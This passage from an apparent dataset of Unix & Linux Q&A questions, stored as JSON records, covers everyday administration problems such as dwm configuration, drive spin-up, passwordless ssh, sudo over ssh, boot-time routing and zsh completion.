's/\\(.*\\)\\:IA32_OP(\\(.*\\)),/#define IA32_OP_\\2 \\1/g' >> ia32_opcodes.h What did that option do back then? What can I substitute that command with?"} {"_id": "27828", "title": "debian not accepting administrative password", "text": "I have XFCE Debian on an old PowerPC PowerBook G4. When I go to open Synaptic Package Manager, a window pops up asking for my administrative password. I enter the password I normally use for sudo in Terminal, but it doesn't work. I enter nothing, but it doesn't work. I try various other ones - like 'debian', 'synaptic' and 'password', but that doesn't work either. Why doesn't it work?"} {"_id": "27824", "title": "Can't resolve CentOS 6.2 server by name from OS X", "text": "I just set up a new AirPort Extreme and CentOS 6.2 server - the server is meant to be a general-purpose storage machine, and so I've set up Samba and Avahi on it. I can easily access the server by IP address from my MacBook Pro running OS X Lion, but attempting to resolve it by name - from the terminal with `ping`, in a connect prompt (`smb://my-server/`) - doesn't work. Are there any particular configuration steps I need to take? How can I get access by name to the server from OS X?"} {"_id": "146732", "title": "Terminal does not open under dwm -- is there an error log file?", "text": "I am running DWM under Arch Linux in combination with the urxvt terminal. I have a urxvt daemon running but when I press the key combination for opening a terminal window, nothing happens. Is there an error log file for DWM? Any suggestions what I can do to find out why no terminal is opening? Thanks! Edit: My config.c file: /* appearance */ static const char font[] = \"-*-terminus-medium-r-normal-*- 12-*-*-*-*-*-*-*\"; static const char normbordercolor[] = \"#000000\"; static const char normbgcolor[] = \"#3f3f3f\"; static const char normfgcolor[] = \"#dfaf8f\"; static const char selbordercolor[] = \"#cc0000\"; static const char selbgcolor[] = \"#2b2b2b\"; static const char selfgcolor[] = \"#f0dfaf\"; static const unsigned int borderpx = 1; /* border pixel of windows */ static const unsigned int snap = 0; /* snap pixel */ static const Bool showbar = True; /* False means no bar */ static const Bool topbar = True; /* False means bottom bar */ /* tagging */ static const char *tags[] = { \"term\", \"work\", \"www\", \"mail\"}; static const Rule rules[] = { /* class instance title tags mask isfloating monitor */ { \"Gimp\", NULL, NULL, 0, True, -1 }, { \"Firefox\", NULL, NULL, 1 << 8, False, -1 }, }; /* layout(s) */ static const float mfact = 0.55; /* factor of master area size [0.05..0.95] */ static const int nmaster = 1; /* number of clients in master area */ static const Bool resizehints = False; /* True means respect size hints in tiled resizals */ static const Layout layouts[] = { /* symbol arrange function */ { \"[]=\", tile }, /* first entry is default */ { \"><>\", NULL }, /* no layout function means floating behavior */ { \"[M]\", monocle }, }; /* key definitions */ #define MODKEY Mod4Mask #define TAGKEYS(KEY,TAG) \\ { MODKEY, KEY, view, {.ui = 1 << TAG} }, \\ { MODKEY|ControlMask, KEY, toggleview, {.ui = 1 << TAG} }, \\ { MODKEY|ShiftMask, KEY, tag, {.ui = 1 << TAG} }, \\ { MODKEY|ControlMask|ShiftMask, KEY, toggletag, {.ui = 1 << TAG} }, /* helper for spawning shell commands in the pre dwm-5.0 fashion */ #define SHCMD(cmd) { .v = (const char*[]){ \"/bin/sh\", \"-c\", cmd, NULL } } /* commands */ static const char *dmenucmd[] = { \"dmenu_run\", \"-fn\", font, \"-nb\", normbgcolor, \"-nf\", normfgcolor, \"-sb\", selbgcolor, \"-sf\", selfgcolor, NULL }; static const char *termcmd[] = { \"urxvtc\", NULL }; static Key keys[] = { /* modifier key function argument */ { MODKEY, XK_p, spawn, {.v = dmenucmd } }, { MODKEY|ShiftMask, XK_Return, spawn, {.v = termcmd } }, { MODKEY, XK_b, togglebar, {0} }, { MODKEY, XK_j, focusstack, {.i = +1 } }, { MODKEY, XK_k, focusstack, {.i = -1 } }, { MODKEY, XK_i, incnmaster, {.i = +1 } }, { MODKEY, XK_d, incnmaster, {.i = -1 } }, { MODKEY, XK_h, setmfact, {.f = -0.05} }, { MODKEY, XK_l, setmfact, {.f = +0.05} }, { MODKEY, XK_Return, zoom, {0} }, { MODKEY, XK_Tab, view, {0} }, { MODKEY|ShiftMask, XK_c, killclient, {0} }, { MODKEY, XK_t, setlayout, {.v = &layouts[0]} }, { MODKEY, XK_f, setlayout, {.v = &layouts[1]} }, { MODKEY, XK_m, setlayout, {.v = &layouts[2]} }, { MODKEY, XK_space, setlayout, {0} }, { MODKEY|ShiftMask, XK_space, togglefloating, {0} }, { MODKEY, XK_0, view, {.ui = ~0 } }, { MODKEY|ShiftMask, XK_0, tag, {.ui = ~0 } }, { MODKEY, XK_comma, focusmon, {.i = -1 } }, { MODKEY, XK_period, focusmon, {.i = +1 } }, { MODKEY|ShiftMask, XK_comma, tagmon, {.i = -1 } }, { MODKEY|ShiftMask, XK_period, tagmon, {.i = +1 } }, TAGKEYS( XK_1, 0) TAGKEYS( XK_2, 1) TAGKEYS( XK_3, 2) TAGKEYS( XK_4, 3) TAGKEYS( XK_5, 4) TAGKEYS( XK_6, 5) TAGKEYS( XK_7, 6) TAGKEYS( XK_8, 7) TAGKEYS( XK_9, 8) { MODKEY|ShiftMask, XK_q, quit, {0} }, }; /* button definitions */ /* click can be ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */ static Button buttons[] = { /* click event mask button function argument */ { ClkLtSymbol, 0, Button1, setlayout, {0} }, { ClkLtSymbol, 0, Button3, setlayout, {.v = &layouts[2]} }, { ClkWinTitle, 0, Button2, zoom, {0} }, { ClkStatusText, 0, Button2, spawn, {.v = termcmd } }, { ClkClientWin, MODKEY, Button1, movemouse, {0} }, { ClkClientWin, MODKEY, Button2, togglefloating, {0} }, { ClkClientWin, MODKEY, Button3, resizemouse, {0} }, { ClkTagBar, 0, Button1, view, {0} }, { ClkTagBar, 0, Button3, toggleview, {0} }, { ClkTagBar, MODKEY, Button1, tag, {0} }, { ClkTagBar, MODKEY, Button3, toggletag, {0} }, };"} {"_id": "132126", "title": "Which command to force a drive to spin up?", "text": "I've looked through the manual for `hdparm`, `sdparm`. I know there are arguments to spin **down** the drive, with `-y` and `-Y`. I also know there are arguments to control the power saving features, such as `-S` and `-B`. However what I want is to start the motor and spin **up** the drive. ### sdparm I see sdparm's manual page has `load` and `start` parameters. Can either of these be used? It seems more like something appropriate for a tape drive, or at beast an optical drive? ### dd `dd if=/dev/hdX of=/dev/null count=512` seems the best answer according to What command do I use to spin up a \"power up in standby\" drive? However, when this is already in the cache, then the drive will not spin up. It seems strange there is no command to explicitly tell the device to start the motor/spin up. What is the best way to spin up SATA HDDs in GNU/Linux?"} {"_id": "60000", "title": "How to find system call implementations in Linux/Android 2.6.29?", "text": "> **Possible Duplicate:** > Understanding the Linux kernel source I want to modify some system calls for tracing purposes. To be specific, whenever a system call `open` is made, I want to print some messages. I have been looking into the internet and the code and I found `open.c` in `kernel/goldfish/fs/` directory. And there are many functions in this file. How would I know which function is being called exactly. I could have written some `printk` call in all these functions to find it but I have to do it for other system calls also. So, I have a few questions, 1) What is the best way to find implementation details of system calls? 2) I am using Kernel 2.6.29 (goldfish-Android). Are system calls implementation different in different kernel versions? 3) `strace` tells me that `msgget` ,`msgrecv` and 'SYS_24' system calls are being made. I look into `Android/bionic/libc/SYSCALLS.txt` file and msgget is not there. But when I look into `android/bionic/libc/kernel/arch-arm/asm/unistd.h` file, I can find `msgget` there. I can't understand what's going on and then how can I find implementation for `msgget` ? Thanks."} {"_id": "17204", "title": "Linux source, where are sys_umount and sys_mount system calls?", "text": "> **Possible Duplicate:** > Understanding the linux kernel source I am **sure** that I must be missing something, here. I cannot for the life of me find the source code for these system calls. I can find their numbers, and I can find their prototypes, but I cannot seem to actually find the functions that implement them. In case anyone's interested: the reason that I am trying to find them is so that I can debug a problem with the kernel's floppy driver and/or my floppy drive itself. I can dd to/from it just fine. The drive works in DOS and Windows just fine. But when I mount a disk (any disk, doesn't matter what), the disk is mounted for approximately 1/10 of a second and then automatically unmounted. I am trying to find out why and if there is a way that I can patch my kernel locally to work around it. I know, I know, nobody uses floppies anymore. But I guess I am a nobody. :)"} {"_id": "795", "title": "passwordless ssh for another username?", "text": "I want to do a passwordless ssh connection for a subversion project. Right now I'm using ssh+svn, and it's a little annoying, because I have to type the password any time I want to transact with the server. I've found several tutorials on the web about how to generate a key for passwordless ssh, but they all seem to assume that I'm using the same username on the remote system as I am for my home system. However, the username that I use for ssh+svn is different that the user account name on the system that I'm running. How do I set this up properly? I haven't had luck with just changing the name in the key file."} {"_id": "83389", "title": "sudo hangs when run on remote host over ssh in a script without tty (-t)", "text": "I have an AIX 6.1 server where I need to run a remote `sudo` command in a bash script. Here is my bash script simplified: **testSudo.sh** #!/usr/bin/bash set -x sudo env I can run the `sudo` command locally without password: [user@server]$ sudo env VAR=VAL ... I can run the script locally: [user@server]$ /tmp/testSudo.sh + sudo env VAR=VAL ... I can run `sudo` on the remote host: [user@client]$ ssh user@server sudo env VAR=VAL ... I can run the script on the remote host with tty: [user@client]$ ssh -t user@server /tmp/testSudo.sh + sudo env VAR=VAL ... I cant run the script on the remote host without tty (and I cant add the -t option in my context): [user@client]$ ssh user@server /tmp/testSudo.sh + sudo env It hangs there."} {"_id": "83388", "title": "prevent trap from altering underscore variable $_", "text": "I have the following code in my bashrc to get the execution time of the last command from http://stackoverflow.com/a/1862762 function timer_start { timer=${timer:-$SECONDS} } function timer_stop { timer_show=$(($SECONDS - $timer)) unset timer } trap 'timer_start' DEBUG PROMPT_COMMAND=timer_stop PS1='[last: ${timer_show}s][\\w]$ ' but when I run `echo $_` it shows \"timer_start\" instead of the last commands parameter. How can I change this to preserve the `$_` variable?"} {"_id": "83385", "title": "Parse XML to get node value in bash script?", "text": "I would like to know how I can get the value of a node with the following paths: config/global/resources/default_setup/connection/host config/global/resources/default_setup/connection/username config/global/resources/default_setup/connection/password config/global/resources/default_setup/connection/dbname from the following XML: false 1 Also I want to assign that value to the variable for further use. Let me know your idea."} {"_id": "19494", "title": "How to colorize text in emacs?", "text": "I want to view (and/or edit) colorized text in emacs, such as is output by `ls -l --color=always`, `tree...`, or whatever. The text I refer to exists in a file. When I open that file in emacs, I want to be able to see it colorized, or toggle it to show ANSI (SGR) escape sequences. `ansi-color.el` _seems_ be be what I need, but I haven't been able to get it to do any colorizing of the ANSi escape **sequences** , but I do see blue-bold for individual **contol bytes** (eg. `^A` and `^[`)... I'm not sure if that is a feature of `ansi-color`, but I think it is. According to the ansi-color.el comments, it can work with strings and regions, but even that doesn't seem to work.. For example the function `ansi-color- apply-on-region` is not recognized by `M-x`. It says, \"No match\" I've added `(require 'ansi-color)` to my _.emacs_ file and even `(add-hook 'shell-mode-hook 'ansi-color-for-comint-mode-on)`. I get no error or warning when emacs starts, so I'm stuck. How can I get the standard functions to work, and can it be made to automatically apply when opening a file whose name is suffixed with `.col`?"} {"_id": "83380", "title": "Unable to ping the IP during first boot", "text": "I am trying to add some routes in /etc/init.d/S98 script but it is failing to ping the gateway IP and hence route addition is failing. But once all the S98 scripts are executed I am able to ping the IP and add the routes. Below are the logs captured during S98 script execution. Could you please help me in understanding if I am missing something during init script (/etc/rc3.d/S98) execution. PING 27.190.35.1 (27.190.35.1) from 27.190.35.171 bond0.3: 56(84) bytes of data. From 27.190.35.171 icmp_seq=1 Destination Host Unreachable From 27.190.35.171 icmp_seq=2 Destination Host Unreachable From 27.190.35.171 icmp_seq=3 Destination Host Unreachable # ifconfig bond0 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.240.0 UP BROADCAST RUNNING MASTER MULTICAST MTU:9000 Metric:1 RX packets:446 errors:0 dropped:0 overruns:0 frame:0 TX packets:290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10000 RX bytes:51268 (50.0 KiB) TX bytes:42174 (41.1 KiB) bond0.2 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:10.63.73.16 Bcast:10.63.73.127 Mask:255.255.255.128 UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:45 errors:0 dropped:0 overruns:0 frame:0 TX packets:49 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10000 RX bytes:2070 (2.0 KiB) TX bytes:2058 (2.0 KiB) bond0.2:1 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:10.63.73.5 Bcast:10.63.73.127 Mask:255.255.255.128 UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 bond0.3 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:27.190.35.171 Bcast:27.190.35.255 Mask:255.255.255.0 UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:39 errors:0 dropped:0 overruns:0 frame:0 TX packets:40 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10000 RX bytes:1794 (1.7 KiB) TX bytes:1680 (1.6 KiB) bond0.3:1 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:27.190.35.170 Bcast:27.190.35.255 Mask:255.255.255.0 UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 bond0:1 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 inet addr:192.168.1.30 Bcast:192.168.15.255 Mask:255.255.240.0 UP BROADCAST RUNNING MASTER MULTICAST MTU:9000 Metric:1 eth0 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 UP BROADCAST RUNNING SLAVE MULTICAST MTU:9000 Metric:1 RX packets:304 errors:0 dropped:0 overruns:0 frame:0 TX packets:272 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10000 RX bytes:35698 (34.8 KiB) TX bytes:39596 (38.6 KiB) Interrupt:32 Memory:f6000000-f67fffff eth1 Link encap:Ethernet HWaddr B4:B5:2F:59:FF:E8 UP BROADCAST RUNNING SLAVE MULTICAST MTU:9000 Metric:1 RX packets:142 errors:0 dropped:0 overruns:0 frame:0 TX packets:18 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10000 RX bytes:15570 (15.2 KiB) TX bytes:2578 (2.5 KiB) Interrupt:36 Memory:f4800000-f4ffffff lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:156 errors:0 dropped:0 overruns:0 frame:0 TX packets:156 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:14528 (14.1 KiB) TX bytes:14528 (14.1 KiB) # route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.63.73.0 * 255.255.255.128 U 0 0 0 bond0.2 27.190.35.0 * 255.255.255.0 U 0 0 0 bond0.3 192.168.0.0 * 255.255.240.0 U 0 0 0 bond0 default 10.63.73.126 0.0.0.0 UG 0 0 0 bond0.2 traceroute result: traceroute to 27.190.35.1 (27.190.35.1), 30 hops max, 60 byte packets 1 Cage-3-dsc-sb-phy-A (27.190.35.171) 3000.659 ms !H 3000.649 ms !H 3000.634 ms !H arping result: ARPING 27.190.35.1 from 27.190.35.171 bond0.3"} {"_id": "71571", "title": "KDE how to remove \"Kickoff Application Launcher\" popup", "text": "Every time I hover the cursor over K button, I get a popup: \"Kickoff Application Launcher\". It irritates me a lot. I managed to remove task manager popups in it's properties. But for Kickoff there is no property to remove it. KDE version: 4.8.5. How to remove this popup?"} {"_id": "71573", "title": "Can't remove same folder name twice", "text": "I have a folder called - `bin` , then I remove it by `rm bin` , re-create it and when I want to remove it again by `rm bin` the shell promts - /bin/mv: cannot move `bin/' to `/u/y2010/zarnihu/../TrashCan/zarnihu/bin': File exists seems it not let remove it cause it exist at `TrashCan` already ... I work with version - `2.6.18-92.1.18.el5xen` **edit -** `alias` : >> alias - ls = (ls -a) cp (cp -i) l. ls -d .* --color=tty ll ls -l --color=tty ls ls --color=tty mc source /usr/share/mc/bin/mc-wrapper.csh moonshine rdesktop -g 1024x768 moonshine & mv (mv -i) passwd (links https://netsrv.cs.biu.ac.il/cgi-bin/change-pass-en.cgi) pine (pine -i) pwd echo $cwd rm (/bin/mv -f !* /u/y2010/zarnihu/../TrashCan/zarnihu) unrm cd $TRASH_CAN && /bin/mv -f !* $owd; cd - unsetdisplay echo remove $DISPLAY | xauth vi vim"} {"_id": "71577", "title": "Linux distro to run a MIDI-server on a PII 333 MHz", "text": "I am looking for a Linux distro that can be used to redirect MIDI message from the network to the soundboard a TurtleBeach Montego from 1997. Currently the computer is running Windows 98 se and I get a total latency of 10 ms when feeding audio back through an analog cable. Since the computer has no display, I cannot do any remote control (other than shutdown, which I have added as ad- hoc messages). Full hardware list: * Sound: TurtleBeach Montego * Graphics: NVIDIA GeForce 6200 AGP * CPU: Pentium II Deschutes 333 MHz * RAM: 256 MB * IDE controller The following is a list of requirements for the setup * A total latency shorter or equal to 10 ms * SSH * ALSA * Utility programs (ls, cp, ... ) Also, it would be nice to achive digital audio return through \"what you hear\" port without increased latency (on Windows 98 I cannot come below 40 ms if I do so). All distros seems to be too demanding for that machine. Do I need to configure my own? I do not need any GUI since it is just a server."} {"_id": "46234", "title": "How to create external, filesystem, read-only entrypoint for process internal memory?", "text": "Target platform is **GNU/Linux**. * * * Let's say I have: void *p I want to be create entrypoint for that internal memory in filesystem like: /tmp/my_entry_point And I'd like to be able to read that memory **from within another proccess**. fd = open(\"/tmp/my_entry_point\", ...) read(fd, ...) Is it possible to create and read such pseudo-device?"} {"_id": "109015", "title": "Can't login to Root User", "text": "I just installed Ubuntu 13.10 on VMware. I am trying to login to root from my user account using **su** command but unable to login as Terminal is saying the following : su: Authentication Failed"} {"_id": "100800", "title": "How to set light colors instead of bold in PS (shell prompt)", "text": "I have an Archlinux installed on headless RaspberryPi. I'm using SSH to connect to it. I've added some colors to bash with editing sudo nano /home/pi/.bashrc and adding: PS1='[\\[\\e[1;34m\\]\\u\\[\\e[m\\]@\\[\\e[1;32m\\]\\h\\[\\e[m\\] \\[\\e[1m\\]\\W\\[\\e[m\\]]\\$' The only problem is, that the colors like **1;34** is not displayed as **Light Blue** , but as **Bold Blue** which is hard to read on the black terminal. Is there any way to set the colors to their \"light variants\"?"} {"_id": "155345", "title": "how to fix key lag on laptop on startup in battery mode?", "text": "I have an XPS 13 Developer Edition Dell Laptop running Debian GNU/Linux Jessie (testing). When the laptop starts up on battery power, the keyboard is so unresponsive that it is a real struggle to type in my password (key presses are delayed, ignored or stick and repeat many times). It's OK if it's running off the mains, even if I boot with the battery and then plug it in. I've not customised the default service configs (except trivial changes unrelated to this) and I keep my full list of `debfoster` keepers on github if you'd like to see the services I have running. **How can I set the default laptop battery mode to be something usable?** As requested, `systemd-analyze blame` shows 1.084s kbd.service 394ms exim4.service 303ms NetworkManager.service 190ms ModemManager.service 179ms loadcpufreq.service 163ms laptop-mode.service 147ms accounts-daemon.service 129ms console-setup.service 117ms networking.service 100ms lightdm.service 98ms bluetooth.service 97ms systemd-logind.service 93ms keyboard-setup.service 89ms avahi-daemon.service 85ms systemd-fsck-root.service 73ms gpm.service and `systemd-analyze critical-chain` The time after the unit is active or started is printed after the \"@\" character. The time the unit takes to start is printed after the \"+\" character. graphical.target @2.434s ??multi-user.target @2.434s ??exim4.service @2.074s +358ms ??basic.target @2.070s ??timers.target @2.069s ??systemd-tmpfiles-clean.timer @2.069s ??sysinit.target @2.069s ??console-setup.service @1.936s +132ms ??kbd.service @531ms +1.403s ??remote-fs.target @531ms ??local-fs.target @530ms ??tmp.mount @524ms +5ms ??systemd-fsck@dev-disk-by\\x2duuid-a2cf7f78\\x2d691b\\x2d4c01\\x2da80c\\x2d1bc6228230a5.service @466ms +57ms ??dev-disk-by\\x2duuid-a2cf7f78\\x2d691b\\x2d4c01\\x2da80c\\x2d1bc6228230a5.device @465ms but this seems consistent with and without the mains power supply. Some more info: * I don't experience the keyboard lag if I drop to a TTY. * I have performed a `cpufreg-aperf` both with and without mains and the results are similar when the machine is idle or I'm just typing in the terminal. * some people have claimed that disabling USB autosuspend helps, but I have the same problem even after disabling it entirely and rebooting. * once I plug in the mains and then unplug it, the problem goes away. * forcing the `performance` cpu scaler (even on battery) doesn't help * external USB keyboards are unaffected Some hardware info: lsusb Bus 001 Device 002: ID 8087:8000 Intel Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 004: ID 8087:07dc Intel Corp. Bus 002 Device 003: ID 0bda:5604 Realtek Semiconductor Corp. Bus 002 Device 002: ID 06cb:0af8 Synaptics, Inc. Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub xinput ? Virtual core pointer id=2 [master pointer (3)] ? ? Virtual core XTEST pointer id=4 [slave pointer (2)] ? ? SYNAPTICS Synaptics Large Touch Screen id=9 [slave pointer (2)] ? ? SynPS/2 Synaptics TouchPad id=12 [slave pointer (2)] ? Virtual core keyboard id=3 [master keyboard (2)] ? Virtual core XTEST keyboard id=5 [slave keyboard (3)] ? Power Button id=6 [slave keyboard (3)] ? Video Bus id=7 [slave keyboard (3)] ? Power Button id=8 [slave keyboard (3)] ? Integrated Webcam id=10 [slave keyboard (3)] ? AT Translated Set 2 keyboard id=11 [slave keyboard (3)] ? Dell WMI hotkeys id=13 [slave keyboard (3)]"} {"_id": "15139", "title": "How to print all printable ASCII chars in CLI?", "text": "How can I list all the printable ASCII characters in the terminal?"} {"_id": "15138", "title": "How to force ssh client to use only password auth?", "text": "If I use pubkey auth from e.g.: an Ubuntu 11.04 how can I set the ssh client to use only password auth to a server? (just needed because of testing passwords on a server, where I default log in with key) I found a way: mv ~/.ssh/id_rsa ~/.ssh/id_rsa.backup mv ~/.ssh/id_rsa.pub ~/.ssh/id_rsa.pub.backup and now I get prompted for password, but are there any offical ways?"} {"_id": "15133", "title": "getting error \"Can't create transaction lock\" with rpm", "text": "I am slowly making progress on installing Fedora into a Logical Volume for a DomU using Package Management. I have (with the help of the wonderful people at Unix & Linux) resolved a number of issues, mainly surrounding `rpm` (see links below): * Unresolved Dependencies * Fedora root install * rpm issue I am using the `\\--root` option with `rpm` to change my newly built version of rpm to `/mnt/fedRoot`. I have also directed `rpm` to look at the `rpmrc` file in the build folder, rather than on the actual `/var/lib/rpm`. Now Unfortunately, on any rpm file I run though I am getting: `error: can't create transaction lock on /mnt/fedRoot (Is a directory)`. Looking online, I found a few pages that indicated this was an issue with the `__db.*`. Though deleting them and rebuilding the db within my `rpm` folder fixed another issue, I am still getting the `transaction lock` error. Anyone have insight into this error?"} {"_id": "15130", "title": "Window Manager for TV", "text": "I have Ubuntu installed on my computer, which is hooked up to my TV. I have tweaked some of Gnome's settings to make it easier to use from my couch (display larger fonts, increase the size of the mouse, etc), and it kind of works ok. But there are a few problems: 1. A lot of windows that show up don't expect to have large font in them, so the contents get all garbled, and I have to resize the window (IF the window is resizable...) 2. There are still some UI items that are really small, such as scrollbars, and I don't see any settings to make them larger. This would be my biggest complaint. I already know about MythTV and Boxee, and that's not what I'm looking for. I am looking for a better way to use my PC from 10 feet away. I'm NOT looking for a way to turn my Linux box into a TV. Are there any window managers out there that work better with 10-foot user interfaces? If not, are there any different themes I can use? Any more settings I can tweak? EDIT: I am also trying to avoid reducing the resolution, because I still plan on watching hi-def videos on this thing."} {"_id": "15137", "title": "What does deb-src mean in the sources.list?", "text": "I know I can download binary packages from repositories beginning with \"`deb`\", but what does `deb-src` do? E.g.: deb-src http://archive.ubuntu.com/ubuntu natty universe in /etc/apt/sources.list in Ubuntu 11.04"} {"_id": "31764", "title": "Files with no .sh extension not considered for autocompletion in zsh", "text": "I have noticed that unless I add an `.sh` extension to my shell scripts, Zsh does not suggest them for autocompletion **for execution** despite having them in my `PATH`. I have the same problem if I `cd` into the directory and start typing the filename. When I say for execution I mean typing the file directly on the prompt, i.e.: $ my_shell_script Are there any options in Zsh that control which file extensions are considered for this type of autocompletion?"} {"_id": "29245", "title": "How to list files that were changed in a certain range of time?", "text": "How can I list recursively all files that were changed between 22.12.2011 and 24.12.2011?"} {"_id": "88525", "title": "need to move files to different folder based on the creation date", "text": "I have set of files created from Monday to Friday.. a -- > 08/20 a1---> 08/21 a2---> 08/21 a3---> 08/21 a4---> 08/22 a5 --> 08/23 I need to move only 08/21 file to diffrenet folder. How is this possible ?"} {"_id": "31766", "title": "Extract files from FreeBSD ISOs - how to know locations?", "text": "How can I extract some of the folders of a stock FreeBSD install from the ISO without actually installing FreeBSD? I am trying to build a number of cross-compilers for various major versions of FreeBSD and need to get the `libc` and some includes and would like to be able to extract `/usr/include` and `/usr/lib` or rather parts of them ... **Edit:** given the first response I feel I have to elaborate a bit. It is trivial to mount an ISO file and I know how to do that on a number of platforms (e.g. on my Linux box: `mount -o loop FreeBSD-7.0-RELEASE- amd64-disc1.iso freebsd7/`). However, when you mount the installation ISOs for FreeBSD you will notice that they don't contain a folder `usr` as can be easily seen from the output of `find -type d -name usr` while inside the folder in which the ISO is mounted. Evidently the files are stored away in some format and I need to be able to parse whatever meta-information exists to find what file is the archive that contains the stuff I need to extract and then extract it."} {"_id": "39558", "title": "How can the mac time code \"b\" be \"n/a\"?", "text": "There are 4 mac time codes for linux ext2: * **M** -- modified * **A** -- accessed * **C** -- created * **B** -- n/a How can one be \"n/a\"? What does it mean?"} {"_id": "31760", "title": "File extensions for unix shell scripts", "text": "On wikipedia, the article for .sh says: > For the .sh file extension type, see Bourne shell. How about other unix shells? I know that the shebang is used _inside the file_ to indicate an interpreter for execution, but I wonder: * What are good practices for file extensions for unix shell scripts? * Is it common for shell scripts to end with `.sh` **regardless** of which shell they run on? * Are there any other commonly used file extensions for unix shell scripts?"} {"_id": "77939", "title": "Turning off swapping for only one process with cgroups?", "text": "I would like to turn off swapping for only one process. Swap should work as usual for the other processes. How I can implement this with cgroups?"} {"_id": "31763", "title": "Bring down and delete bridge interface that's up", "text": "How do I remove a bridge that has an IP address that was brought up manually and isn't in /etc/network/interfaces? $ ifconfig br100 br100 Link encap:Ethernet HWaddr 00:00:00:00:00:00 inet addr:172.16.0.5 Bcast:172.16.0.255 Mask:255.255.255.0 Can't delete it: # brctl delbr br100 bridge br100 is still up; can't delete it Can't bring it down with ifdown: # ifdown br100 ifdown: interface br100 not configured"} {"_id": "39553", "title": "Linux Ubuntu / Mint Live CD user-home customization", "text": "I'm trying to customize Linux Mint Live CD with these instruction (uck doesn't work for me). What I want is to have more icons at its Live CD user (`/home/mint/Desktop`) but I can't find `/home/mint` on the squashfs filesystem nor at the initrd fs. The changes I make in `/etc/skel` do not apply either. What am I missing? (I'm using a lxdm wm.)"} {"_id": "20975", "title": "How do I handle switches in a shell script?", "text": "Are there some built-in tools that will recognize `-x` and `\\--xxxx` as switches, and not arguments, or do you have to go through all the input variables, test for dashes, and then parse the arguments thereafter?"} {"_id": "49096", "title": "What is the canonical way to implement order independent options in bash scripts?", "text": "> **Possible Duplicate:** > How do I handle switches in a shell script? Most common shell commands allow the user to specify options in any random order. Positional Parameters like `$1` as commonly used in bash (I tend to write all my scripts in Bash but I don't think this question is actually Bash specific) scripts on the other hand, are order specific. Now I could come up with _some_ way to remove the need for the user of a bash script to observe any particular order in the supplying of optional arguments. (Using regular expressions or globs to test for the presence of some particular option in the `$@` expansion comes to mind.) However, I am really trying to find out whether there is a particularly canonical way to implement such options. Given the common syntax for options like `-r` for many shell commands I certainly feel there should be."} {"_id": "22640", "title": "How to code shell script with command line arguments like -la", "text": "> **Possible Duplicate:** > How do I handle switches in a shell script? I know how to deal with simple arguments $1-$9 but I don't know how to code it with such as `-la`, for example `ls -la`. Could you show me example?"} {"_id": "77933", "title": "using devtmpfs for /dev", "text": "I have noticed the following option in the kernel: CONFIG_DEVTMPFS Device Drivers -> Generic Driver Options -> Maintain devtmpfs to mount at /dev And I see that it is enabled by default in the Debian distribution kernel `3.2.0-4-amd64` I am trying to understand what difference this option brings. Without this option, `/dev` is mounded as `tmpfs` , with this option, it is moundet as `devtmpfs`. Other than that, I don't see any difference. The `help` did not clarify it for me either: > This creates a tmpfs/ramfs filesystem instance early at bootup. In this > filesystem, the kernel driver core maintains device nodes with their default > names and permissions for all registered devices with an assigned > major/minor number. > > It provides a fully functional /dev directory, where usually udev runs on > top, managing permissions and adding meaningful symlinks. > > In very limited environments, it may provide a sufficient functional /dev > without any further help. It also allows simple rescue systems, and reliably > handles dynamic major/minor numbers. Could somebody please explain the difference between using `CONFIG_DEVTMPFS` vs the standard `/dev`?"} {"_id": "39556", "title": "How can the job of SDFlasher.exe given with FriendlyARM utility be accomplished on Linux?", "text": "I am playing with **FriendlyARM Tiny 6410**. The instructions on setting up an SD card for booting self compiled versions of linux kernel involve the use of **SDFlasher.exe**. People have tried to find an alternative for Linux here http://www.friendlyarm.net/forum/topic/3295 in vain. I am sure that whatever the utility does can be accomplished using some simple commands on the terminal, provided we know what exactly it does. Can somebody help? The getting started instructions are available here - http://www.minidevs.com/Tiny6410/Bootloader.html#2_1_Create_the_SD_boot_card_39_45863506360910833"} {"_id": "77931", "title": "How to make /dev/sdf?", "text": "On a server I have 5 disks (boot-disks + 4 disks in RAID, sda-sde). Now I need to connect a new disk using a PATA/USB-adapter. I do not have a /dev/sdf, so the USB-device is not found at all and cannot be seen in lsusb. The adapter works fine in a laptop with only one disk - there it's found under /dev/sdb. So; how do I create /dev/sdf so the adapter + disk can be found?"} {"_id": "77930", "title": "VIM(Mercurial) +python3.2 on debian wheezy: Could not load library function PySys_SetArgv", "text": "> ./configure --enable-python3interp=dynamic --enable-gui=gtk2 > --with-python3-config-dir=/usr/lib/python3.2/ make vim --version|grep pyth +cryptv +linebreak -python +viminfo -cscope +lispindent +python3/dyn +vreplace but if i do: :python3 print('hi') I get: E448: Could not load library function PySys_SetArgv E263: Sorry, this command is disabled, the Python library could not be loaded."} {"_id": "33895", "title": "How to execute one command on all files within a folder", "text": "Saying, I have this tree and I want to execute `ruby` on all scripts within the folder. How could I archive through **one line of command**. ./ 